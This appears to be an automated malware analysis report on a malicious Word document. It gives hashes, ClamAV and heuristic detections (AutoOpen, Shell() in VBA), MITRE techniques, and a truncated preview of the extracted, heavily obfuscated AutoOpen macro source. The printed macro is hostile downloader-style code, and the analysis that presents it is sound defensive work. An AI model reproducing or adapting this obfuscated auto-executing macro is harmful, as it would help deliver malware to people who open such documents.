Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb8fa1687a1fc3cb…

MALICIOUS

Office (OLE)

118.8 KB Created: 2018-09-28 13:28:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: f371b1e04d6c55d77b633d08ab2ec7da SHA-1: 628c14fc259f547e64f4ab9a100335829ca76a5e SHA-256: fb8fa1687a1fc3cb0fffb0d408f4b2a8479e97decaaae60b057b83a2fe345b75
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro designed to execute automatically. The critical heuristic firing for Shell() indicates that the macro likely attempts to download and execute a secondary payload. While the script is truncated, the presence of the 'macros.bas' artifact and the Shell() call strongly suggest this malicious behavior.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700450-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700450-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61035 bytes
SHA-256: 8447a17eab74d641f39d98d0710ca926b32a907d8ac0730dd45bd7521c23b5e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YlzUkLOBltvZR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jCIGKQ(2)
jCIGKQ(0) = InStr(rpdlsU + VVVboOzkSiIjrDvFVfoJw + uZSOW, uOvhMr + KVrmdzlvzzPAMWHiTXi + RoldIBZD) + InStr(USRMqa + XOZzUEiiFMBjjUpwVdtat + VNuJREX, IXUTh + pTrikoXrBdZLjRkjUoBo + zZqXAVP) + InStrRev(EGBwz + XRPazYcUCjzalnfiPdzrfNz + hiVlCa, YifYwWh + SzRQbTrRQXakQDnMjzvz + GzZOS) + InStrRev(stvApI + iZkKtoVhHsRoWzzM + RzwJFi, zbuhBC + pbuSiGaXzaEYBkrNblAna + jjwBT)
jCIGKQ(1) = InStr(MJWSCp + YmHHlswizJpwYpnTJacWiL + rWdhB, NNjTMMm + DJZUnUiwQPRwQdvFMVPIAL + HAHMWbc) + InStr(mTYXni + ZTQzCXOhlinBYIbwaEtpTz + iHiYq, bsudEc + oqwiTNKiMjYjfizOkZzNnXi + hPXVhZ) + InStr(USpvTKDM + pvOwcKOIpdLHoOPoKrHbf + ETRPvAd, BBkmMHYT + JKAiYwXAAiUjUuqquciczP + ccCSnMJ) + InStrRev(DptTGc + HjSQrGNdUtbhBOMvwiuH + XCFzX, FwsiZNlV + KrPqpCaAuhivMOTEHkGht + JfGFaZJ)
   Dim kIciQ(1)
kIciQ(0) = InStr(jJsfmz + qRzToFSMhEBMzBEbNQijvp + QjPpdl, HkECA + PzMfMjVlhYvhBiOf + zraPK) + InStrRev(npCavtOl + NtILiEqpAZoUQRSG + BtNivf, SzwRUBmt + kWZUnTQOGicwuLAudj + qXCdQ)
   Dim CWpip(2)
CWpip(0) = InStrRev(GmVqVRiT + MPoNSwQLLwnRcAwdrv + zToFZ, MiFfrvj + YsRdmBStKKQlpwHotd + EazQim) + InStrRev(bOMFwdk + BUMOBUasYtovsGjVmlkiI + CZkJdNl, JfICGZXk + vfVFYdRhNQlEnSSnvfDF + AMJwNNzV) + InStrRev(DjTLfLj + cXbUkoYzRLraVRHkVzQ + HPljvHjz, XZZsZIp + DFocLoOEvjHoMUD + piLqwz) + InStrRev(YhcjCOMh + ZWHsfEUwRlfFFMVuziOa + WTAawuGt, VNwDHWz + NtcWibrnVILCIlTYP + lXbbNPS)
CWpip(1) = InStr(idIcvuw + uCTYYSawuVCbVviIHNmZztii + GNoBYUUK, JARVXRZC + tnpBKmdTiuknhhAC + YvFlGvQ) + InStr(UbaYvTY + mLqqiEYMiqjYzVsjPDrs + KSJPLTI, QpkhM + ukhLwbUlaboYoOFYmPw + hqPjQC)
   Dim QJKhzi(2)
QJKhzi(0) = InStrRev(tSaCfK + RQhADKWUtvHvTwcIjDl + Aknavjd, GJIbzj + qbGicaZKEDBzvDATWv + PaipJw) + InStrRev(vCvNK + XJOPqbaTLizYzNjBqIulP + DHzBi, JdJIji + GGifBVDiEvIHmcDfYTUZcJ + UDbLjD) + InStr(oHkKp + jzmMFXmKcCZjBWRGii + LEGknQNs, tocpzi + RRihiiIGOsjRDbHwmNVw + CczDLZ) + InStrRev(PMaKia + fKzzGFwZOpjEGwTcBREvpF + iPtzh, hLzjGw + iwjGKJQFKwaDaumDPj + IKmYkX)
QJKhzi(1) = InStr(fXSaw + JtSJhmivHwnpUswfbwXl + wzSDkAQ, dKwawiZO + okZsnIcSiClbloPsiGf + qiSpzBBi) + InStrRev(qwWFfu + watsCJNpJWsKJCEqOcR + kozdPj, zijHBwfJ + LrLHJjwDaESvhwZLWwFZZ + cuiDZhY)
   Dim rUwWk(1)
rUwWk(0) = InStrRev(iGNuQjp + SaMzWGkNwMiZBsmllj + jnKlZjc, wMEajbB + ZIlQrJFjYtDGCcJLULslN + NwNbRlA) + InStrRev(zpTwB + zErfrJubRpRYhnGwILI + DEvKJ, KoLujV + DBmUAwidbRfpFXzjcmOkRz + cMnrCqN) + InStrRev(ZoGLU + jsdXFRFimUGpWwRFRl + pcMPOB, HMrAZT + LphIQVDpFRKJlzdou + IDrON) + InStrRev(QuDQstbD + UWIZIkjdCFBvfljKRBHMFYL + BVhhYfUY, ATKlVrr + YiLjvZJzKDBzWWUYcPKM + jJGPmUN)
   Dim hidhzh(1)
hidhzh(0) = InStr(vuZzIkU + zzFNGCcpjPzvZAmLpjn + zbQTz, cDERmXba + EHzfkzYXIwJGaJaiWjcho + rEzCYLTO) + InStrRev(ZfOcrfb + TzdHMcNvrbZJspoVjmpr + APzCiEA, TwNwmZLP + AGQmZUqGQKdFLNNtrnb + ZquWBv)
KcdntUrAUBH (KeyString(XXzVOqj + dfRrVpBQ + 20 + 8 + 39 + pmwQjIP + kqnLbYGE) + jDiuB + KPViB + KeyString(dzuZHPNz + UDqTpTO + 23 + 9 + 45 + HjXKs + fzzMOj) + ziwiPvuGz + brZfl + HQucUA + PqlmHOiH + aCzYJwX)
   Dim Awtnz(2)
Awtnz(0) = InStrRev(lwMJIfa + jLMwsvzspTMUzKAiJlM + WzAWNzX, JcwvmK + wvHAWJCrziwjjfatvfj + nqSTVE) + InStrRev(YMoRljzp + DBsjpaFPLQJRMCjrjWF + XTuGfwaE, jraEA + ooMZPvOwUTzOIDMVfzBQ + MQjLP) + InStrRev(wViQNPI + rjdGGjhPWsiMOmMDivDhN + taiOoEwN, mdFcYw + PBmGvslCuWoCQqSzAi + wGVkwHa) + InStr(GozmMmip + zCrTPWLmGzwKbTnHmvipZh + fvDnKW, fHnFOnJn + KdWTZmEhqUNRmBDfSpZOmof + tzlrpc)
Awtnz(1) = InStrRev(wMWRjcf + SpAELHEjIlOtajorFd + PQGSfRjM, RWpLQ + imIUlWMhrzooArunEobmzv + SIDOT) + InStrRev(aqOViuul + kYFIabpcdDCALYuYacfh + BffGtK, LNXlwr + nrdvXpwkdAMErQjZvJU + zdpwBI) + InStrRev(rMpoD + LciWPrzNJjSlETIL + AFvbJwUP, nWhOSa + IIjbpUGjGIVfsKXmuF + hDsszj) + InStrRev(dUpCnO + apDOOHkvZZDvoEmwXwcnaf + ApqJtlH, BzHaQ + aGAXpQcFPATwBbcmuFPj + czLziYHn)
   Dim jNRPAO(1)
jNRPAO(0) = InStrRev(haqpr + XlliQ
... (truncated)

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